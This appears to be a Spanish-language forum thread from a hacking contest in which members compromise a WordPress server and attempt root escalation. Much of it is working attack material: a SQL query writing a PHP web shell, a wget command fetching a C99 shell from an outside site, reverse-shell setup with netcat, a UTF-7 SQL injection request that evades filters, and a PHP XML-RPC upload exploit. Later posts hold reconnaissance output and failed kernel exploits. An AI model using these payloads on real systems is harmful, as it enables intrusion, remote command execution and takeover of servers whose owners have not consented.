select '<?php echo "<pre>",system($_GET["q"]),"</pre>"; die(); ?>' into dumpfile '/var/www/wp-content/uploads/dshell.php'
Esto creara un archivo en /uploads (dshell.php) con una shell básica que permite ejecutar comandos del sistema directamente. Ahora podemos navegar hasta ese archivo y probar..
http://host.net/wp-content/uploads/dshell.php?q=cat /etc/passwd
Si todo ha ido bien, nos muestra el contenido de /etc/passwd.
Bien, ya tenemos una shell básica pero los permisos son de
mysql en vez de
www-data. Ademas, nuestra shell es bastante primitiva, cosa que no nos interesa.
Por eso, podríamos descargar la C99. Podríamos usar wget...
http://host.net/wp-content/uploads/dshell.php?q=wget -O dshell2.php 'http://www.c99txt.net/s/c99.txt'
Esto descargara un c99.txt del c99txt.net y lo guardara como dshell2.php.. pero ademas, puesto que lo ejecutamos desde PHP, su dueño sera
www-data.
Si abrimos dshell2.php se nos abrira una bonita C99. Desde aquí vamos a proceder a descargar una shell inversa. Primero tenemos que descargar la propia shell. Una bastante comun es http://pentestmonkey.net/tools/web-shells/perl-reverse-shell
La descargamos, descomprimimos el .pl y lo vamos a editar. Tenemos que cambiar
my $ip = '127.0.0.1';
my $port = 1234;
Por nuestros datos, es decir $ip por nuestra IP y $port por el puerto donde queremos que se conecte. Una vez editada, copiamos el contenido, nos vamos a la c99 y abajo en
:: Make File ::, añadimos (a lo que ya hay),
reverse.pl quedando así:
/var/www/wp-content/uploads/reverse.pl
Le damos al boton
Create, en el textbox que aparecerá, pegamos la shell y le damos al boton
Save.
Ahora, abajo en
:: Command execute :: a la izquierda en la casilla ponemos
chmod 777 reverse.pl, esto le dara permisos globales de ejecucion/escritura/lectura a la shell.
En nuestro sistema, tenemos que hacer que netcat escuche. Si no lo tienen instalado, busquen en google como instalarlo.
nc -l -v -n -p 1337
El
-p 1337 es el puerto donde va a escuchar netcat por la shell. Lo ejecutamos en nuestra maquina, nos vamos a la C99 y en la casilla de comandos ejecutamos
perl reverse.pl
Si todo sale bien nos devolverá algo así..
Content-Length: 0
Connection: close
Content-Type: text/html
Content-Length: 45
Connection: close
Content-Type: text/html
Sent reverse shell to NuestraIP:ElPuerto<p>
Y si miramos a la terminal.. veremos
(http://i.elhacker.net/i?i=EKQuHBZ5Pq3dFCdMX-2uuWVo)
Aquí pueden meter cualquier comando que soporte el server.. el caso es que tengan permisos xD
Por otra parte, voy a listar los exploits que he probado/intentado..
half-nelson.c - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
Es fácil de encontrar en google... el problema es que aunque compile bien, falla cuando se ejecuta en el server..
Me tira
[-] symbol table not available, aborting!jessica_biel_naked_in_my_bed.c - http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
No me llega a compilar :/
27704.c:30:22: fatal error: asm/page.h: No such file or directory
14601.c - http://1337day.com/exploit/14601
Compila y ejecuta.. pero ahí se queda :/
--all-symbols < in.map > out.S = in.map no existe ·_·
59846.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846.c
No consigo compilar :/ No vi que usaba gcc 4.6 xD
gcc-4.6 -O2 59846.c && ./bb.out
Pero a la hora de ejecutar...
bb.out: 59846.c:51: sheep: Assertion `!close(fd)' failed.59846-1.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846-1.c
Tampoco :/
59846-2.c - http://downloads.securityfocus.com/vulnerabilities/exploits/59846-2.c
Compila pero... es para Ubuntu 12.04... y a la hora de ejecutar
/usr/sbin/apache: 4: ./testaa: Permission denied | www-data/www-data -r----x--tSe vuelve tonto..
Saludos
Holas
A la mela mucho por aprender, me envías la IP porfa.
Saludos
XDDDD uploads tiene que estar petao de shells ya... weno entonces esta como lo dejemos ayer??? weno drvy ha ido un poco más lejos consiguiendo la reverse cosa que el superchachy livebox que use tiene pinta de no gustarle las conexiones, ni nat ni dmz ni nada ...
Bueno voy a instalar un kali o traerme mi PC para ir un poco mas fluido taluego.
+100 puntos a quien encuentre user y pass de foro.elhacker.net de dimitrix en su server :3
vamos, tienen acceao a una inyeccion sql como root, desde ahi pueden hacer lo que quieran, yo no lo he probado porque no he estado en mi casa. Tienen privilegios escribiendo archivos con into out file? han intentado sobreescribir binarios con permisos de root? o tendra permisos propios?
han revisado el directorio /home/ por si hay binarios con instrucciones para escalar privilegios?
I want the IP address.
Cita de: WHK en 2 Agosto 2014, 16:15 PM
vamos, tienen acceao a una inyeccion sql como root, desde ahi pueden hacer lo que quieran, yo no lo he probado porque no he estado en mi casa. Tienen privilegios escribiendo archivos con into out file? han intentado sobreescribir binarios con permisos de root? o tendra permisos propios?
han revisado el directorio /home/ por si hay binarios con instrucciones para escalar privilegios?
mysql 4586 0.1 2.6 785948 27600 ? Ssl Jul30 3:46 /usr/sbin/mysqld
No creo que sea root del sistema, solo del DBMS. El proceso está pegado al usuario MySQL. No hay nada en home.
Hay un proceso de apache corriendo como root:
root 6893 0.0 0.3 313920 3284 ? Ss Jul30 0:16 /usr/sbin/apache2 -k start
Me imagino que es el que hace el spawn de los servers y no creo que puedas suplantar esos privilegios. Estaba pensando que quizás haya algún modulo de apache que pudiera ayudar a suplantar la identidad del root pero lo más probable es que termine ejecutando con los procesos que spawnea el root como www-data.
Yo he tratado un monton de exploits y nada. Ubuntu 13.10 salío hace como 9 meses y la mayoría de los exploits que me he encontrado son viejos del 2010 y así... Yo diría que ya los han parchado pero no puedo estar seguro hasta compilarlos en una maquina igual o en el host.
Cosas que he probado,
Crontab está corriendo como root y aquí están los archivos que utiliza:
$ ls -la /etc/cron*
-rw-r--r-- 1 root root 719 Jul 30 13:15 /etc/crontab
/etc/cron.d:
total 20
drwxr-xr-x 2 root root 4096 Jul 30 22:56 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
-rw-r--r-- 1 root root 510 Jul 7 13:08 php5
-rw-r--r-- 1 root root 2321 Jul 30 13:15 sendmail
/etc/cron.daily:
total 84
drwxr-xr-x 2 root root 4096 Jul 30 23:00 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
-rwxr-xr-x 1 root root 633 Mar 19 16:57 apache2
-rw-r--r-- 1 root root 15488 Sep 11 2013 apt
-rwxr-xr-x 1 root root 77 Sep 2 2013 apt-show-versions
-rwxr-xr-x 1 root root 314 Sep 23 2013 aptitude
-rw-r--r-- 1 root root 355 Jun 4 2013 bsdmainutils
-rw-r--r-- 1 root root 384 May 29 2013 cracklib-runtime
-rw-r--r-- 1 root root 256 Oct 4 2013 dpkg
-rwxr-xr-x 1 root root 372 Nov 30 2012 logrotate
-rw-r--r-- 1 root root 1365 Jun 28 2013 man-db
-rw-r--r-- 1 root root 435 Jun 20 2013 mlocate
-rw-r--r-- 1 root root 249 Jul 26 2013 passwd
-rw-r--r-- 1 root root 349 Dec 27 2012 quota
-rw-r--r-- 1 root root 3285 Sep 10 2013 sendmail
-rwxr-xr-x 1 root root 1309 Nov 17 2012 sysklogd
-rwxr-xr-x 1 root root 214 Nov 13 2013 update-notifier-common
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 Dec 18 2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 Dec 18 2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
/etc/cron.weekly:
total 28
drwxr-xr-x 2 root root 4096 Dec 26 2013 .
drwxr-xr-x 89 root root 4096 Jul 30 23:01 ..
-rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
-rwxr-xr-x 1 root root 730 Sep 18 2013 apt-xapian-index
-rw-r--r-- 1 root root 907 Jun 28 2013 man-db
-rw-r--r-- 1 root root 1220 Nov 17 2012 sysklogd
-rwxr-xr-x 1 root root 211 Nov 13 2013 update-notifier-common
Me llamo la atención el de PHP5:
$ cat /etc/cron.d/php5
# /etc/cron.d/php5: crontab fragment for php5
# This purges session files older than X, where X is defined in seconds
# as the largest value of session.gc_maxlifetime from all your php.ini
# files, or 24 minutes if not defined. See /usr/lib/php5/maxlifetime
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] && [ -x /usr/lib/php5/sessionclean ] && [ -d /var/lib/php5 ] && /usr/lib/php5/sessionclean /var/lib/php5 $(/usr/lib/php5/maxlifetime)
Si maxlifetime hubiese sido un archivo para escribir, creo que se hubiera podido escribir un archivo con el SUID pero nada... ni sessionclean, ni php5, ni maxlifetime.
El archivo de sendmail no tiene cron jobs activos que haya visto y no hay nada escribible en las carpetas cron ni en sus respectivos scripts. Ni siquiera el crontab que ejecuta los scripts en daily, weekly, monthly, etc.
Asi que descarto cron para ganar privilegios de root.
Lo único que se me ocurrio después es tratar de vulnerar otros servicios tipo root, parece que webmin está corriendo como root bajo perl. Entonces, quizás puedo vulnerar Webmin? Da la casualidad que mucho de los archivos en /usr/share/webmin tienen permisos de ejecución en others (o+x) y puedo correrlos. Hay uno que me llamo la atención:
$ stat changepass.pl
File: 'changepass.pl'
Size: 2220 Blocks: 8 IO Block: 4096 regular file
Device: 1eh/30d Inode: 17306810 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2014-08-01 15:08:10.797120681 -0400
Modify: 2014-05-22 12:47:39.000000000 -0400
Change: 2014-07-30 23:01:13.898815137 -0400
Birth: -
Lo leo y dice esto:
$ head changepass.pl
#!/usr/bin/perl
# changepass.pl
# Script for the user to change their webmin password
# Check command line arguments
usage() if (@ARGV != 3);
($config, $user, $pass) = @ARGV;
Puedo correrlo ok, no tengo permisos de root en el archivo como es de suponerse (xD)
$ perl changepass.pl /etc/webmin root derp
Failed to open /etc/webmin/miniserv.conf : Permission denied
Maybe /etc/webmin is not the Webmin config directory.
Nada...
Hay muchos archivos que se pueden ejecutar en el webmin pero dudo mucho que sirvan de algo si no estás de root.
Por cierto, carpetas asociadas con webmin:
/var/webmin <-Logs
/etc/webmin <-Configuracion
/usr/share/webmin <-Archivos del Webmin
Estuve viendo la configuración del SSH y usan los logins del sistema me parece, no vi nada de disallow root login así que me imagino que es posible loguearse como root en SSH. Por cierto usan PAM y tambien le he dado una vista a /etc/pam.d y bueno no encontre nada que me ayudara ahí.
Archivos con el Sticky bit del root
-rwsr-xr-x 1 root 44176 May 16 2013 /bin/ping
-rwsr-xr-x 1 root 94792 Jun 12 2013 /bin/mount
-rwsr-xr-x 1 root 44688 May 16 2013 /bin/ping6
-rwsr-xr-x 1 root 36936 Jul 26 2013 /bin/su
-rwsr-xr-x 1 root 69120 Jun 12 2013 /bin/umount
-rwxr-sr-x 1 shadow 35536 May 18 2013 /sbin/unix_chkpwd
-rwsr-xr-x 1 root 121112 Mar 11 08:24 /usr/bin/sudo
-rwsr-xr-x 1 root 32464 Jul 26 2013 /usr/bin/newgrp
-rwxr-sr-x 1 ssh 129120 Apr 29 19:54 /usr/bin/ssh-agent
-rwsr-sr-x 1 mail 89216 Jun 8 2012 /usr/bin/procmail
-rwsr-xr-x 1 root 23104 May 16 2013 /usr/bin/traceroute6.iputils
-rwxr-sr-x 1 shadow 23360 Jul 26 2013 /usr/bin/expiry
-rwsr-xr-x 1 root 68152 Jul 26 2013 /usr/bin/gpasswd
-rwxr-sr-x 1 tty 19024 Jun 12 2013 /usr/bin/wall
-rwxr-sr-x 1 shadow 54968 Jul 26 2013 /usr/bin/chage
-rwsr-xr-x 1 root 41336 Jul 26 2013 /usr/bin/chsh
-rwxr-sr-x 1 mail 18672 Jun 8 2012 /usr/bin/lockfile
-rwxr-sr-x 1 crontab 35984 Feb 9 2013 /usr/bin/crontab
-rwsr-xr-x 1 root 47032 Jul 26 2013 /usr/bin/passwd
-rwsr-xr-x 1 root 18928 May 16 2013 /usr/bin/arping
-rwxr-sr-x 1 tty 14688 Jun 4 2013 /usr/bin/bsd-write
-rwsr-xr-x 1 root 46424 Jul 26 2013 /usr/bin/chfn
-rwxr-sr-x 1 utmp 380088 Aug 19 2013 /usr/bin/screen
-rwxr-sr-x 1 mlocate 39520 Jun 20 2013 /usr/bin/mlocate
-rwxr-sr-x 1 mail 14848 Jun 5 2013 /usr/bin/dotlockfile
-rwsr-xr-x 1 root 10208 Sep 10 2013 /usr/sbin/sensible-mda
-rwxr-sr-x 1 smmsp 82816 Sep 10 2013 /usr/lib/sm.bin/mailstats
-rwxr-sr-x 1 smmsp 851840 Sep 10 2013 /usr/lib/sm.bin/sendmail
-rwsr-xr-x 1 root 249704 Apr 29 19:54 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root 10368 Oct 12 2013 /usr/lib/pt_chown
Intente agregarme al group de root con gpasswd pero no me dejo xD, lo más obvio pero bueno, debe haber algun otro fichero que nos permita hacer algo valioso con el root. Y parece que instalaron GCC pero lo borraron o no se.
$ whereis gcc
gcc: /usr/lib/gcc
No hay nada en la carpeta xD.
¿ Consiguieron instalar el gcc en /tmp ? Muy buena esa xD
Saludos
Cita de: #!drvy en 2 Agosto 2014, 22:16 PM
¿ Consiguieron instalar el gcc en /tmp ? Muy buena esa xD
Saludos
No solo lo descargue he intente instalar pero no pude.... A parta la carpeta de webmin ya no tiene permisos de lectura :S y ya no se que hacer.
Siempre se puede montar una maquina con el mismo so y compilar exploits pero me da palo.
La verdad serías mas interesante conseguir root sin exploits, pero bueno, no puedo decir que yo no lo haya intentado xDDD.
Encima, esto no es garantía que funcionen exactamente igual en el host y es una distro que no ha salido hace mucho y quien sabe si le hayan puesto parches ya.
Logré ejecutar una shell en php sin usar el phpmyadmin, unicamente usando la inyección SQL.
recordemos que estamos usando utf7 para la inyeción, no caracteres normales, asi que si escribimos las comillas en utf7 estas no se escaparán con backslashses:
POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select CONCAT(CHAR(60),%2bACc-?php echo 99;%2bACc-) INTO OUTFILE %2bACc-/var/www/wp-content/uploads/whk5.php%2bACc- -- -
http://web.com/wp-content/uploads/whk5.php
99
:D
Por alguna razón cuando escribía el carácter "<" se cortaba el string de la inyección, lo mismo cuando lo escribia en utf7, supongo que era algun sistema de protección, entonces... como rayos podía comenzar un script en php? fácil, usando concat y crah con el valor decimal del carácter "<", por lo cual ese filtro solo busca strings en plano y no codificados, asi que es cuestion de codificar lo que sea para bypasear todo filtro de carácteres excepto la comilla por utf7.
Asi que ahora lanzo mi shell directa desde la inyección y desde ahi paso a tratar de ejecutar código. el phpinfo() está deshabilitado.
http://web.com/wp-content/uploads/whk7.php?val=system%28%27id%27%29;
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 26252 572 ? Ss Jul30 0:00 init
root 2 0.0 0.0 0 0 ? S Jul30 0:00 [kthreadd/84472]
root 3 0.0 0.0 0 0 ? S Jul30 0:00 [khelper/84472]
root 177 0.0 0.0 15224 8 ? S Jul30 0:00 upstart-file-bridge --daemon
root 376 0.0 0.0 14956 8 ? Ss Jul30 0:00 /usr/sbin/xinetd -dontfork -pidfile /var/run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6
root 378 0.0 0.0 61044 312 ? Ss Jul30 0:02 /usr/sbin/sshd -D
root 380 0.0 0.0 25756 244 ? Ss Jul30 0:04 cron
syslog 416 0.0 0.0 12748 412 ? Ss Jul30 0:03 /sbin/syslogd -u syslog
root 484 0.0 0.0 81008 4 ? Ss Jul30 0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2
root 486 0.0 0.0 81008 4 ? S Jul30 0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2
root 540 0.0 0.0 85780 672 ? Ss Jul30 0:17 sendmail: MTA: accepting connections
root 572 0.0 0.0 12748 8 tty1 Ss+ Jul30 0:00 /sbin/getty -8 38400 tty1
mysql 4586 0.0 1.0 785948 11288 ? Ssl Jul30 4:04 /usr/sbin/mysqld
www-data 5153 0.0 0.0 4392 564 ? Ss 05:01 0:00 /usr/sbin/apache -i
root 6893 0.0 0.1 313920 1400 ? Ss Jul30 0:22 /usr/sbin/apache2 -k start
root 10027 0.0 0.2 86048 2316 ? Ss Jul30 2:13 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
www-data 10048 0.0 0.0 4392 544 ? Ss 11:02 0:00 /usr/sbin/apache -i
www-data 10888 0.0 0.0 4392 520 ? S 12:18 0:00 /bin/sh ./stop
www-data 10892 0.0 0.0 4324 440 ? S 12:18 0:00 cat
www-data 11279 0.0 0.0 4392 536 ? Ss 12:46 0:00 /usr/sbin/apache -i
www-data 11641 0.0 0.3 314788 4048 ? S 13:11 0:00 /usr/sbin/apache2 -k start
www-data 11865 0.0 0.0 4392 524 ? S 13:26 0:00 sh -c ./out
www-data 11866 6.2 0.0 4756 396 ? Sl 13:26 23:52 ./out
www-data 11927 0.0 0.0 0 0 ? Z 13:32 0:00 [sh] <defunct>
www-data 12122 0.0 0.0 0 0 ? Z 13:44 0:00 [sh] <defunct>
www-data 12570 0.0 0.0 0 0 ? Z 14:13 0:00 [sh] <defunct>
www-data 12685 0.0 0.0 0 0 ? Z 14:25 0:00 [sh] <defunct>
www-data 13048 0.0 0.0 0 0 ? Z 14:59 0:00 [sh] <defunct>
www-data 14598 0.0 0.0 0 0 ? Z 15:56 0:00 [sh] <defunct>
www-data 16229 0.0 0.0 0 0 ? Z 16:51 0:00 [sh] <defunct>
www-data 16344 0.0 0.0 4392 536 ? Ss 16:58 0:00 /usr/sbin/apache -i
www-data 16351 0.0 0.0 28884 940 ? S 16:59 0:02 ping6 ::1
www-data 16394 0.0 0.0 0 0 ? Z 17:02 0:00 [sh] <defunct>
www-data 16475 0.0 0.0 0 0 ? Z 17:11 0:00 [sh] <defunct>
www-data 16535 0.0 0.0 0 0 ? Z 17:15 0:00 [sh] <defunct>
www-data 16575 0.0 0.0 0 0 ? Z 17:18 0:00 [sh] <defunct>
www-data 17044 0.0 0.0 0 0 ? Z 17:54 0:00 [sh] <defunct>
www-data 17775 0.0 1.3 318804 13648 ? S 19:09 0:00 /usr/sbin/apache2 -k start
www-data 17840 0.0 1.0 317008 10796 ? S 19:13 0:00 /usr/sbin/apache2 -k start
www-data 17844 0.0 0.7 317240 7400 ? S 19:13 0:00 /usr/sbin/apache2 -k start
www-data 17847 0.0 0.7 316428 8212 ? S 19:14 0:00 /usr/sbin/apache2 -k start
www-data 17862 0.0 0.6 314376 6624 ? S 19:15 0:00 /usr/sbin/apache2 -k start
www-data 17892 0.0 1.0 317000 10616 ? S 19:17 0:00 /usr/sbin/apache2 -k start
www-data 17936 0.0 0.8 317000 8568 ? S 19:20 0:00 /usr/sbin/apache2 -k start
www-data 17943 0.0 0.8 317760 8912 ? S 19:20 0:00 /usr/sbin/apache2 -k start
www-data 17946 0.0 0.9 318776 9564 ? S 19:20 0:00 /usr/sbin/apache2 -k start
www-data 17949 0.0 0.7 316984 7384 ? S 19:21 0:00 /usr/sbin/apache2 -k start
www-data 18289 0.0 0.0 4392 624 ? S 19:50 0:00 sh -c ps -aux
www-data 18290 0.0 0.1 15520 1124 ? R 19:50 0:00 ps -aux
www-data 28193 0.0 0.0 4392 536 ? Ss Aug01 0:00 /usr/sbin/apache -i
www-data 31431 0.0 0.0 4148 4 ? T 00:45 0:00 ./exp4
www-data 31575 0.0 0.3 314780 3824 ? S 00:59 0:00 /usr/sbin/apache2 -k start
www-data 31850 0.0 0.0 4392 528 ? S 01:14 0:00 sh -c perl bk.pl 71.51.107.185 80
www-data 31851 0.0 0.1 27860 2024 ? S 01:14 0:00 perl bk.pl 71.51.107.185 80
www-data 31857 0.0 0.1 17864 1176 ? S 01:14 0:00 /bin/bash
www-data 32084 0.0 0.0 4148 4 ? T 01:23 0:00 ./exp4
www-data 32091 0.0 0.0 4148 4 ? T 01:25 0:00 ./exp4
www-data 32335 0.0 0.1 17868 1220 ? S 01:34 0:00 bash
netstat -atup | grep IST
tcp 0 0 localhost.localdom:smtp *:* LISTEN -
tcp 0 0 localhost.localdo:mysql *:* LISTEN -
tcp 0 0 localhost.lo:submission *:* LISTEN -
tcp 0 0 *:webmin *:* LISTEN -
tcp 0 0 *:ssh *:* LISTEN -
tcp6 0 0 [::]:http [::]:* LISTEN -
tcp6 0 0 [::]:ssh [::]:* LISTEN -
Archivos ejecutables con permisos de root:
find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/procmail
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/arping
/usr/bin/chfn
/usr/sbin/sensible-mda
/usr/sbin/uuidd
No es ubuntu server, es un redhat:
cat /proc/version /proc/cpuinfo
Linux version 2.6.32-042stab084.14 (root@rh6-build-x64) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Mon Dec 16 18:16:56 MSK 2013
processor : 0
vendor_id : AuthenticAMD
cpu family : 16
model : 2
model name : AMD Opteron(tm) Processor 4284
stepping : 3
cpu MHz : 2999.999
cache size : 2048 KB
physical id : 0
siblings : 4
core id : 0
cpu cores : 4
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good tsc_reliable nonstop_tsc unfair_spinlock pni cx16 x2apic popcnt hypervisor lahf_lm cmp_legacy extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw
bogomips : 5999.99
TLB size : 1536 4K pages
clflush size : 64
cache_alignment : 64
address sizes : 40 bits physical, 48 bits virtual
power management:
phpinfo() funciona :P
http://web/wp-content/uploads/phpinfo.php
Cita de: MinusFour en 3 Agosto 2014, 01:52 AM
phpinfo() funciona :P
http://web/wp-content/uploads/phpinfo.php
Talves escribí la funcion mal entonces porque tiene deshabilitado el reporte de errores.
php está configurado con algunos datos falsos :p por ejemplo sale que el apache está sobre ubuntu pero en realidad es un redhat xD o al reves pero dudo que sea ubuntu.
@WHK
cat /etc/lsb-release
Y corrijan me si me equivoco pero que yo sepa, redhat no tiene ni dpkg ni apt-get .. es rpm..
$ apt-get install
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
$
Saludos
Cita de: #!drvy en 3 Agosto 2014, 02:06 AM
@WHK
cat /etc/lsb-release
Y corrijan me si me equivoco pero que yo sepa, redhat no tiene ni dpkg ni apt-get .. es rpm..
$ apt-get install
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
$
Saludos
Si, apt es de distribuciones basadas en debian. RedHat usa RPMs. Aunque bueno, tambien hay herramientas basadas en apt para RH pero no es apt con dkpg.
Podrías pasar IP por favor. Gracias.
Bueno , voy a explicar algo que desconocia y que descubri buscando formas diferentes de subir shell.
Luego de poder entrar via SQLi ya sea desde el wordpress o el phpmyadmin ,empeze a buscar otras formas. Leyendo el source de wordpress , encontre un archivo muy lindo llamado xmlrpc.php(No lo pongo porque no me deja poner mucho texto)
Despues de leerlo todo , no lo podia creer lo servido que estaba.
Observemos esta funcion:
/* metaweblog.newMediaObject uploads a file, following your settings */
function mw_newMediaObject($args) {
// adapted from a patch by Johann Richard
// http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/
global $wpdb;
$blog_ID = $wpdb->escape($args[0]);
$user_login = $wpdb->escape($args[1]);
$user_pass = $wpdb->escape($args[2]);
$data = $args[3];
$name = $data['name'];
$type = $data['type'];
$bits = $data['bits'];
logIO('O', '(MW) Received '.strlen($bits).' bytes');
if ( !$this->login_pass_ok($user_login, $user_pass) )
return $this->error;
set_current_user(0, $user_login);
if ( !current_user_can('upload_files') ) {
logIO('O', '(MW) User does not have upload_files capability');
$this->error = new IXR_Error(401, 'You are not allowed to upload files to this site.');
return $this->error;
}
$upload = wp_upload_bits($name, $type, $bits);
if ( ! empty($upload['error']) ) {
logIO('O', '(MW) Could not write file '.$name);
return new IXR_Error(500, 'Could not write file '.$name);
}
return array('url' => $upload['url']);
}
Sisi muchachos , hace un upload! Entonces simplemente creo un exploit...
<?php
include_once("class-IXR.php");
echo "Exploit para concurso de elhacker.net";
$cliente=new IXR_CLIENT('http://IP/xmlrpc.php');
$tamano=filesize('shell.php');
$archivo=fopen('shell.php','rb');
$data=fread($archivo,$tamano);
fclose($archivo);
$shell=array(
'name'=>"shell.php",
'type'=>"application/php",
'bits'=>new IXR_Base64($data)
);
$cliente->query('metaWeblog.newMediaObject',array(
0,
"ret2libc",
"password",
$shell
));
print_r($cliente->getResponse());
echo "Check bitch!";
?>
Class-IXR.php lo pueden encontrar en wordpress. No lo voy a postear.
Bueno , aprendi algo nuevo y lo comparto.Y encima repase algo de php que estaba bastante oxidado.
/vz/vms/84472/private on / type simfs (rw,relatime)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
none on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
none on /sys/fs/cgroup type tmpfs (rw,relatime,size=4k,mode=755)
none on /run type tmpfs (rw,nosuid,noexec,relatime,size=104860k,mode=755)
none on /dev/shm type tmpfs (rw,relatime)
none on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
none on /run/shm type tmpfs (rw,nosuid,nodev,relatime)
none on /run/user type tmpfs (rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755)
Cita de: ret2libc en 3 Agosto 2014, 08:39 AM
/vz/vms/84472/private on / type simfs (rw,relatime)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
none on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
none on /sys/fs/cgroup type tmpfs (rw,relatime,size=4k,mode=755)
none on /run type tmpfs (rw,nosuid,noexec,relatime,size=104860k,mode=755)
none on /dev/shm type tmpfs (rw,relatime)
none on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
none on /run/shm type tmpfs (rw,nosuid,nodev,relatime)
none on /run/user type tmpfs (rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755)
:O Me parece que esto explica porque uname -a nos devuelve que es Red Hat XD.
Pregunta : ¿Hay alguna forma de crear un hilo en un proceso remoto como en windows?Me refiero a CreateRemoteThread() . Tratar de escribir en un proceso remoto que sea root y ejecutar un createremotethread desde el lugar que escribimos en ese proceso remoto y asi ejecutar una shellcode.
Esto lo hize en windows , no tengo idea si se puede en GNU/Linux.
Cita de: ret2libc en 3 Agosto 2014, 09:29 AM
Pregunta : ¿Hay alguna forma de crear un hilo en un proceso remoto como en windows?Me refiero a CreateRemoteThread() . Tratar de escribir en un proceso remoto que sea root y ejecutar un createremotethread desde el lugar que escribimos en ese proceso remoto y asi ejecutar una shellcode.
Esto lo hize en windows , no tengo idea si se puede en GNU/Linux.
Después de 25 minutos de Jugaad, parece que no.
https://www.youtube.com/watch?v=Nm5htFWAVUE
Vaya, si puedes inyectar código en procesos que son tuyos a través de ptrace() pero no puedes inyectar a un proceso del root. Y también tiene que estar habilitado en el kernel (en la conferencia, mencionan que ubuntu lo tiene desactivado desde la 10.04 en adelante).
Veo que hemos llegado a un punto muerto, no ¿? :/
Yo sigo mirando el tema, pero uff tengo tanto por aprender!
Eso parece... En parte creo que x los permisos de webmin ... Que alguien modifico.
Aquí hay algo muy raro xD
uname -r
2.6.32-042stab084.14
cat /proc/version
Linux version 2.6.32-042stab084.14...
cat /etc/issue
Ubuntu 13.10 \n \l
lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 13.10
Release: 13.10
Codename: saucy
Todo indica que es un ubuntu 13.10 (saucy) con el kernel 2.6.. sin embargo, segun ubuntu (https://wiki.ubuntu.com/SaucySalamander/ReleaseNotes#Linux_kernel_3.11), SaucySalamander viene con el 3.11 ... Lo puedo confirmar porque me descargue la iso de 13.10 y el uname -r me tira 3.11.. la unica version de ubuntu que viene con el 2.6.32 es la 10.04 LTS -____-
http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Table_of_versions
En fin, leyendo un poco, resulta que OVH usa "distros" personalizadas:
http://serverfault.com/questions/586171/cant-update-linux-kernel-on-vps
http://forum.kimsufi.com/showthread.php?20971-weird-kernels-where-to-get-sources-for-OVH-kernels
http://forum.ovh.co.uk/showthread.php?239-Custom-kernel
Tamos jodidos xD
Saludos
Cita de: #!drvy en 4 Agosto 2014, 01:15 AM
Aquí hay algo muy raro xD
uname -r
2.6.32-042stab084.14
cat /proc/version
Linux version 2.6.32-042stab084.14...
cat /etc/issue
Ubuntu 13.10 \n \l
lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 13.10
Release: 13.10
Codename: saucy
